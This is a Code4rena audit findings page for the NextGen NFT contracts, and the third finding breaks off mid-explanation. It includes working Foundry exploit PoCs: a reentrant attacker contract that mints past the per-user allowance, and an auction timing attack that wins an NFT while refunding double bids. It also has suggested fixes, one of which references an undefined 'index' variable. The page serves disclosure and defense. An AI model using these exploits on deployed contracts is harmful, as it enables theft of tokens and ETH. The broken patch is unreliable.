Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 7/243
Findings: 7
Award: $1,589.40
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.152 USDC - $0.15
Reentrancy callback through _safeMint() into mint() function in MinterContract.sol is not prevented. This allows an attacker to mint more tokens (using his malicious contract) on a collection than the max allowance set for users during public phase. The impact here is much more severe since it affects all collections currently (or in the future) in the public phase.
There is another impact to this issue. For example, a collection has 1000 tokens as total supply and each user is only allowed to mint 5 tokens. In this case, the attacker technically not only mints more tokens but also steals from other users' max allocations, which can impact them.
(Note: This reentrancy attack will not work on collections that use the Periodic Sale model (sales option 3) during the public phase since lastMintDate is updated to the next period and until that time a second token cannot be minted in the current period whether directly or indirectly through reentrancy)
Here is the whole process:
File: MinterContract.sol 196: function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable { 197: require(setMintingCosts[_collectionID] == true, "Set Minting Costs"); 198: uint256 col = _collectionID; 199: address mintingAddress; 200: uint256 phase; 201: string memory tokData = _tokenData; 202: if (block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime) { 203: phase = 1; 204: bytes32 node; 205: if (_delegator != 0x0000000000000000000000000000000000000000) { 206: bool isAllowedToMint; 207: isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(_delegator, 0x8888888888888888888888888888888888888888, msg.sender, 1) || dmc.retrieveGlobalStatusOfDelegation(_delegator, 0x8888888888888888888888888888888888888888, msg.sender, 2); 208: if (isAllowedToMint == false) { 209: isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(_delegator, collectionPhases[col].delAddress, msg.sender, 1) || dmc.retrieveGlobalStatusOfDelegation(_delegator, collectionPhases[col].delAddress, msg.sender, 2); 210: } 211: require(isAllowedToMint == true, "No delegation"); 212: node = keccak256(abi.encodePacked(_delegator, _maxAllowance, tokData)); 213: require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit"); 214: mintingAddress = _delegator; 215: } else { 216: node = keccak256(abi.encodePacked(msg.sender, _maxAllowance, tokData)); 217: require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit"); 218: mintingAddress = msg.sender; 219: } 220: require(MerkleProof.verifyCalldata(merkleProof, collectionPhases[col].merkleRoot, node), 'invalid proof'); 221: } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) { 222: phase = 2; 223: require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens"); 224: require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max"); 225: mintingAddress = msg.sender; 226: tokData = '"public"'; 227: } else { 228: revert("No minting"); 229: } 230: uint256 collectionTokenMintIndex; 231: collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col) + _numberOfTokens - 1; 232: require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply"); 233: require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH"); 234: for(uint256 i = 0; i < _numberOfTokens; i++) { 235: uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col); 236: gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase); 237: } 238: collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value; 239: // control mechanism for sale option 3 240: if (collectionPhases[col].salesOption == 3) { 241: uint timeOfLastMint; 242: if (lastMintDate[col] == 0) { 243: // for public sale set the allowlist the same time as publicsale 244: timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod; 245: } else { 246: timeOfLastMint = lastMintDate[col]; 247: } 248: // uint calculates if period has passed in order to allow minting 249: uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod; 250: // users are able to mint after a day passes 251: require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period"); 252: lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1)); 253: } 254: }
0 + 1 <= 1
, which is trueFile: MinterContract.sol 221: } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) { 222: phase = 2; 223: require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens"); 224: require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max"); 225: mintingAddress = msg.sender; 226: tokData = '"public"'; 227: } else { 228: revert("No minting"); 229: } 230: uint256 collectionTokenMintIndex; 231: collectionTokenMintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col) + _numberOfTokens - 1; 232: require(collectionTokenMintIndex <= gencore.viewTokensIndexMax(col), "No supply"); 233: require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH"); 234: for(uint256 i = 0; i < _numberOfTokens; i++) { 235: uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col); 236: gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase); 237: } 238: collectionTotalAmount[col] = collectionTotalAmount[col] + msg.value;
File: NextGenCore.sol 191: function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external { 192: require(msg.sender == minterContract, "Caller is not the Minter Contract"); 193: collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; 194: if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { 195: _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); 196: if (phase == 1) { 197: tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; 198: } else { 199: tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; 200: } 201: } 202: }
File: NextGenCore.sol 229: function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal { 230: tokenData[_mintIndex] = _tokenData; 231: collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o); 232: tokenIdsToCollectionIds[_mintIndex] = _collectionID; 233: _safeMint(_recipient, _mintIndex); 234: }
File: ERC721.sol 237: function _safeMint(address to, uint256 tokenId) internal virtual { 238: _safeMint(to, tokenId, ""); 239: } 240: 241: /** 242: * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is 243: * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. 244: */ 245: function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual { 246: _mint(to, tokenId); 247: require( 248: _checkOnERC721Received(address(0), to, tokenId, data), 249: "ERC721: transfer to non ERC721Receiver implementer" 250: ); 251: }
File: ERC721.sol 400: function _checkOnERC721Received( 401: address from, 402: address to, 403: uint256 tokenId, 404: bytes memory data 405: ) private returns (bool) { 406: if (to.isContract()) { 407: try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) { 408: return retval == IERC721Receiver.onERC721Received.selector; 409: } catch (bytes memory reason) { 410: if (reason.length == 0) { 411: revert("ERC721: transfer to non ERC721Receiver implementer"); 412: } else { 413: /// @solidity memory-safe-assembly 414: assembly { 415: revert(add(32, reason), mload(reason)) 416: } 417: } 418: } 419: } else { 420: return true; 421: } 422: }
The mint() function allows to continue minting and exceed the max allowance due to the following reasons:
File: MinterContract.sol 223: require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens"); 224: require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max"); 233: require(msg.value >= (getPrice(col) * _numberOfTokens), "Wrong ETH");
Here are some points to understand the POC:
forge test --match-test testAttackerCanExceedAllowance -vvvvv
hardhat/test
folder in order to ensure the path inherited by the POC below works properly.File: TestContract9.t.sol 01: // SPDX-License-Identifier: MIT 02: 03: pragma solidity ^0.8.19; 04: 05: import {Test, console} from "forge-std/Test.sol"; 06: 07: import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; 08: import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; 09: import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; 10: import {randomPool} from "../smart-contracts/XRandoms.sol"; 11: import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol"; 12: import {AttackerContract2} from "./AttackerContract2.t.sol"; 13: import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; 14: 15: contract TestContract9 is Test { 16: 17: NextGenMinterContract minter; 18: NextGenCore gencore; 19: NextGenAdmins adminsContract; 20: randomPool xrandoms; 21: NextGenRandomizerNXT randomizer; 22: auctionDemo auctionContract; 23: AttackerContract2 attackerContract2; 24: 25: function setUp() public { 26: //Deployment process - Followed from docs 27: adminsContract = new NextGenAdmins(); 28: gencore = new NextGenCore("", "", address(adminsContract)); 29: minter = new NextGenMinterContract(address(gencore),address(0) , address(adminsContract)); 30: xrandoms = new randomPool(); 31: randomizer = new NextGenRandomizerNXT(address(xrandoms), address(this), address(gencore)); 32: auctionContract = new auctionDemo(address(minter), address(gencore), address(adminsContract)); 33: attackerContract2 = new AttackerContract2(); 34: } 35: 36: function testSetUpCollection() public { 37: string[] memory emptyScript; 38: gencore.createCollection("Azuki", "6529", "Empty", "Empty", "Empty", "Empty", "Empty", emptyScript); 39: gencore.setCollectionData(1, address(0), 1, 10000, 0); 40: minter.setCollectionCosts(1, 1000000000000000000, 0, 0, 0, 1, 41: address(0)); 42: minter.setCollectionPhases(1, 1000, 0, 1000, 700000, 0);//Set allowliststarttime to public sale start time to pass check 43: gencore.addMinterContract(address(minter)); 44: gencore.addRandomizer(1, address(randomizer)); 45: } 46: 47: function testFundAttackerContractWith2ETH() public{ 48: vm.deal(address(attackerContract2), 2000000000000000000); 49: (bool success,) = address(attackerContract2).call{value: 2000000000000000000}(""); 50: } 51: 52: function testAttackerCanExceedAllowance() public { 53: testSetUpCollection(); 54: testFundAttackerContractWith2ETH(); 55: vm.warp(1000); //Start public phase 56: 57: bytes memory emptyData; //Start minting by calling onERC721Received directly 58: attackerContract2.onERC721Received(address(minter), address(0), 0, emptyData); 59: 60: uint256 attackerContractNFTBalance = gencore.balanceOf(address(attackerContract2)); 61: assertEq(attackerContractNFTBalance, 2); //This proves that attacker can exceed max allowance of 1 62: } 63: }
File: AttackerContract2.t.sol 01: // SPDX-License-Identifier: MIT 02: 03: pragma solidity ^0.8.19; 04: 05: import {INextGenCore} from "../smart-contracts/INextGenCore.sol"; 06: import {IERC721Receiver} from "../smart-contracts/IERC721Receiver.sol"; 07: 08: 09: contract AttackerContract2 is IERC721Receiver { 10: 11: uint256 counter; 12: 13: INextGenCore gencore; 14: 15: function onERC721Received(address minter, address gencore, uint256 tokenId, bytes memory data) public override returns(bytes4) { 16: ++counter; 17: 18: if(counter < 3) { 19: bytes32[] memory emptyArray; 20: bytes memory selector = abi.encodeWithSignature("mint(uint256,uint256,uint256,string,address,bytes32[],address,uint256)", 1, 1, 0, "", address(this), emptyArray, address(0), 0); 21: (bool success,) = address(minter).call{value: 1000000000000000000}(selector); 22: } 23: 24: return IERC721Receiver.onERC721Received.selector; 25: 26: } 27: 28: //Some withdrawal mechanism implemented by attacker 29: 30: receive() external payable {} 31: }
Manual Review
There are 2 solutions to this:
File: MinterContract.sol 196: function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public nonReentrant payable {
Solution (moved the _mintProcessing() call after tokensMintedPerAddress is incremented):
File: NextGenCore.sol 191: function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external { 192: require(msg.sender == minterContract, "Caller is not the Minter Contract"); 193: collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1; 194: if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) { 195: 196: if (phase == 1) { 197: tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1; 198: } else { 199: tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1; 200: } 201: _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o); 202: } 203: }
Reentrancy
#0 - c4-pre-sort
2023-11-18T10:28:03Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:03:05Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:27:17Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:28:09Z
alex-ppg marked the issue as partial-50
#4 - c4-judge
2023-12-08T19:17:11Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L57 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L104 https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/AuctionDemo.sol#L124
Below mentioned are the three impacts occurring at the same time in one attack transaction:
The origination of this issue can be seen from two perspectives (fixing either of them solves the issue):
Here is the whole process:
File: AuctionDemo.sol 57: function participateToAuction(uint256 _tokenid) public payable { 58: require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true); 59: auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true); 60: auctionInfoData[_tokenid].push(newBid); 61: }
File: AuctionDemo.sol 104: function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ 105: require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); 106: auctionClaim[_tokenid] = true; 107: uint256 highestBid = returnHighestBid(_tokenid); 108: address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); 109: address highestBidder = returnHighestBidder(_tokenid); 110: for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { 111: if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { 112: IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); 113: (bool success, ) = payable(owner()).call{value: highestBid}(""); 114: emit ClaimAuction(owner(), _tokenid, success, highestBid); 115: } else if (auctionInfoData[_tokenid][i].status == true) { 116: (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); 117: emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); 118: } else {} 119: } 120: }
File: AuctionDemo.sol 134: function cancelAllBids(uint256 _tokenid) public { 135: require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended"); 136: for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) { 137: if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) { 138: auctionInfoData[_tokenid][i].status = false; 139: (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); 140: emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid); 141: } else {} 142: } 143: }
Here are some points to understand the POC:
forge test --match-test testAttackerCanWinAuctionWithoutProvidingETHAndDoubleHisPreviousBids -vvvvv
forge test --match-test testAttackerCanWinAuctionWithoutProvidingETHAndDoubleHisPreviousBids -vvvvv
command.File: TestContract7.t.sol 001: // SPDX-License-Identifier: MIT 002: 003: pragma solidity ^0.8.19; 004: 005: import {Test, console} from "forge-std/Test.sol"; 006: 007: import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; 008: import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; 009: import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; 010: import {randomPool} from "../smart-contracts/XRandoms.sol"; 011: import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol"; 012: import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; 013: 014: contract TestContract7 is Test { 015: 016: NextGenMinterContract minter; 017: NextGenCore gencore; 018: NextGenAdmins adminsContract; 019: randomPool xrandoms; 020: NextGenRandomizerNXT randomizer; 021: auctionDemo auctionContract; 022: 023: //List of Bidders 024: address alice = makeAddr("Bidder1"); 025: address bob = makeAddr("Bidder2"); 026: address charlie = makeAddr("Bidder3"); 027: 028: address teamsTrustedAddress = makeAddr("TrustedAddress"); 029: address attacker = makeAddr("AttackerEOA"); 030: 031: function setUp() public { 032: //Deployment process - Followed from docs 033: adminsContract = new NextGenAdmins(); 034: gencore = new NextGenCore("", "", address(adminsContract)); 035: minter = new NextGenMinterContract(address(gencore),address(0) , address(adminsContract)); 036: xrandoms = new randomPool(); 037: randomizer = new NextGenRandomizerNXT(address(xrandoms), address(this), address(gencore)); 038: auctionContract = new auctionDemo(address(minter), address(gencore), address(adminsContract)); 039: } 040: 041: function testSetUpCollection1() public { 042: string[] memory emptyScript; 043: gencore.createCollection("Azuki", "6529", "Empty", "Empty", "Empty", "Empty", "Empty", emptyScript); 044: gencore.setCollectionData(1, address(0), 1, 10000, 0); 045: minter.setCollectionCosts(1, 4000000000000000000, 0, 0, 600, 1, 046: address(0)); 047: minter.setCollectionPhases(1, 1000, 0, 1000, 700000, 0);//Set allowliststarttime to public sale start time to pass check 048: gencore.addMinterContract(address(minter)); 049: gencore.addRandomizer(1, address(randomizer)); 050: } 051: 052: function testSetUpCollection2() public { 053: string[] memory emptyScript; 054: gencore.createCollection("Punks", "6529", "Empty", "Empty", "Empty", "Empty", "Empty", emptyScript); 055: gencore.setCollectionData(2, address(0), 10, 10000, 0); 056: minter.setCollectionCosts(2, 4000000000000000000, 0, 0, 600, 1, 057: address(0)); 058: minter.setCollectionPhases(2, 1000, 0, 1000, 700000, 0);//Set allowliststarttime to public sale start time to pass check 059: gencore.addMinterContract(address(minter)); 060: gencore.addRandomizer(2, address(randomizer)); 061: } 062: 063: function testUsersParticipateInAuction(uint256 tokenId) public { 064: vm.deal(alice, 1000000000000000000);//Give alice 1 ETH for bid 065: vm.deal(bob, 2000000000000000000);//Give bob 2 ETH for bid 066: vm.deal(charlie, 3000000000000000000);//Give charlie 3 ETH for bid 067: 068: bytes memory selector = abi.encodeWithSignature("participateToAuction(uint256)", tokenId); 069: 070: vm.prank(alice); 071: (bool success1,) = address(auctionContract).call{value: 1000000000000000000}(selector); 072: 073: vm.prank(bob); 074: (bool success2,) = address(auctionContract).call{value: 2000000000000000000}(selector); 075: 076: vm.prank(charlie); 077: (bool success3,) = address(auctionContract).call{value: 3000000000000000000}(selector); 078: } 079: 080: function testAttackerCanWinAuctionWithoutProvidingETHAndDoubleHisPreviousBids() public { 081: testSetUpCollection1(); 082: testSetUpCollection2(); 083: vm.warp(1000); //Start public phase on Azuki collection 084: //Start both Azuki and Punks Auction (running in parallel) 085: minter.mintAndAuction(teamsTrustedAddress, "", 0, 1, 10000); //(Auction ends at 10000s) 086: minter.mintAndAuction(teamsTrustedAddress, "", 0, 2, 20000); //(Auction ends at 20000s) 087: 088: //Give approval to this contract to transfer the auctioned token to the winner when winner calls claimAuction() 089: vm.prank(teamsTrustedAddress); 090: gencore.setApprovalForAll(address(auctionContract), true); 091: 092: //Attacker participates in Azuki auction 093: vm.deal(attacker, 900000000000000000); //Attacker places 0.9 ETH bid 094: vm.prank(attacker); 095: bytes memory selector = abi.encodeWithSignature("participateToAuction(uint256)", 10000000000); 096: (bool success1,) = address(auctionContract).call{value: 900000000000000000}(selector); 097: 098: 099: testUsersParticipateInAuction(10000000000); //Alice, Bob, Charlie place bids of 1ETH, 2ETH and 3ETH respectively in Azuki auction to challenge each other 100: testUsersParticipateInAuction(20000000000); //They also place similar bids in the Punks auction running in parallel 101: 102: //Attacker decides to participate in Azuki auction again 103: vm.deal(attacker, 5000000000000000000); //Attacker places 5 ETH bid 104: vm.prank(attacker); //Attacker participates in Azuki auction 105: (bool success2,) = address(auctionContract).call{value: 5000000000000000000}(selector); 106: 107: vm.warp(10000); //Warping to right at the auctionEndTime of Azuki auction 108: 109: bytes memory selector2 = abi.encodeWithSignature("claimAuction(uint256)", 10000000000); 110: vm.prank(attacker); //Attacker claimsAuction 111: (bool success3,) = address(auctionContract).call(selector2); 112: 113: //At the same time (i.e. right at auctionEndTime), the attacker also calls cancelAllBids() 114: bytes memory selector3 = abi.encodeWithSignature("cancelAllBids(uint256)", 10000000000); 115: vm.prank(attacker); 116: (bool success4,) = address(auctionContract).call(selector3); 117: 118: assertEq(success3, true); //Proves claimAuction() call succeeded 119: assertEq(success4, true); //Proves cancelAllBids() call succeeded as well 120: 121: uint256 attackerNFTBalance = gencore.balanceOf(attacker); 122: uint256 attackerETHBalance = address(attacker).balance; 123: 124: assertEq(attackerNFTBalance, 1); //Attacker should have received the auctioned NFT 125: assertEq(attackerETHBalance, 6800000000000000000); //Attacker's ETH balance should be double (i.e. 1.8 ETH) his previous active bid of 0.9 ETH plus 5 ETH that is refunded from his highest bid. This proves that not only did the attacker win the auctioned token for free but also doubled the amount of his previous bids. 126: } 127: }
Manual Review
The solution is quite straightforward. We can fix either of the two causes mentioned in the beginning to solve the issue:
Solution for 1: Update cancelBid() and cancelAllBids() functions timing related check to "<" instead of "<=" on 1st line:
File: AuctionDemo.sol 124: function cancelBid(uint256 _tokenid, uint256 index) public { 125: require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended"); 126: require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true); 127: auctionInfoData[_tokenid][index].status = false; 128: (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}(""); 129: emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid); 130: } 131: 132: // cancel All Bids 133: 134: function cancelAllBids(uint256 _tokenid) public { 135: require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended"); 136: for (uint256 i=0; i<auctionInfoData[_tokenid].length; i++) { 137: if (auctionInfoData[_tokenid][i].bidder == msg.sender && auctionInfoData[_tokenid][i].status == true) { 138: auctionInfoData[_tokenid][i].status = false; 139: (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); 140: emit CancelBid(msg.sender, _tokenid, i, success, auctionInfoData[_tokenid][i].bid); 141: } else {} 142: } 143: }
Solution for 2: Set auctionDataInfo for bidder's active bids to false after refunding them (updates on Lines 113 and 118):
File: AuctionDemo.sol 104: function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){ 105: require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true); 106: auctionClaim[_tokenid] = true; 107: uint256 highestBid = returnHighestBid(_tokenid); 108: address ownerOfToken = IERC721(gencore).ownerOf(_tokenid); 109: address highestBidder = returnHighestBidder(_tokenid); 110: for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) { 111: if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) { 112: IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid); 113: auctionInfoData[_tokenid][index].status = false; 114: (bool success, ) = payable(owner()).call{value: highestBid}(""); 115: emit ClaimAuction(owner(), _tokenid, success, highestBid); 116: } else if (auctionInfoData[_tokenid][i].status == true) { 117: (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}(""); 118: auctionInfoData[_tokenid][index].status = false; 119: emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid); 120: } else {} 121: } 122: }
Timing
#0 - c4-pre-sort
2023-11-15T07:41:40Z
141345 marked the issue as duplicate of #1172
#1 - c4-judge
2023-12-06T21:28:12Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T18:04:56Z
alex-ppg marked the issue as satisfactory
1114.2534 USDC - $1,114.25
The Periodic Sale (sales option 3) does not work as intended if used during both allowlist and public phases. This is because when Periodic Sale model is used in the allowlist phase, some tokens are brought into circulation (as expected). Now when the Periodic Sale for the public phase begins, the first user can mint the token in the first period. But when this is done, the lastMintDate for that collection is set to a date far ahead in the future instead of the next time period.
Due to this issue, there are 3 impacts:
Note: This issue can occur in multiple combinations of sales models being used with allowlist/public phases. I tried attempting to jot them down but it was not feasible since there can be 1,2,3 or even more allowlist/public phases being held for a collection, which further increases the phase and sales model combinations. For clarity of understanding in this POC, I've used one simple instance of using Periodic Sale in both allowlist and public phases.
Root Cause: Although there are multiple combinations, one thing I could deduce as the root cause of this issue is that basically anytime the first phase (whether it be allowlist or public using any sales model) brings tokens into circulation supply, it causes the above mentioned impact to occur in the second phase (whether it be allowlist or public but using Sales model 3)
Here are few things to note in order to understand the example explanation in the POC better:
Here is the whole process now:
During Allowlist phase:
lastMintDate equation picked up from Line 252 in else-if block below:
File: MinterContract.sol 239: // control mechanism for sale option 3 240: if (collectionPhases[col].salesOption == 3) { 241: uint timeOfLastMint; 242: if (lastMintDate[col] == 0) { 243: // for public sale set the allowlist the same time as publicsale 244: timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod; 245: } else { 246: timeOfLastMint = lastMintDate[col]; 247: } 248: // uint calculates if period has passed in order to allow minting 249: uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod; 250: // users are able to mint after a day passes 251: require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period"); 252: lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1)); 253: }
During Public phase (held 10 days after Allowlist phase):
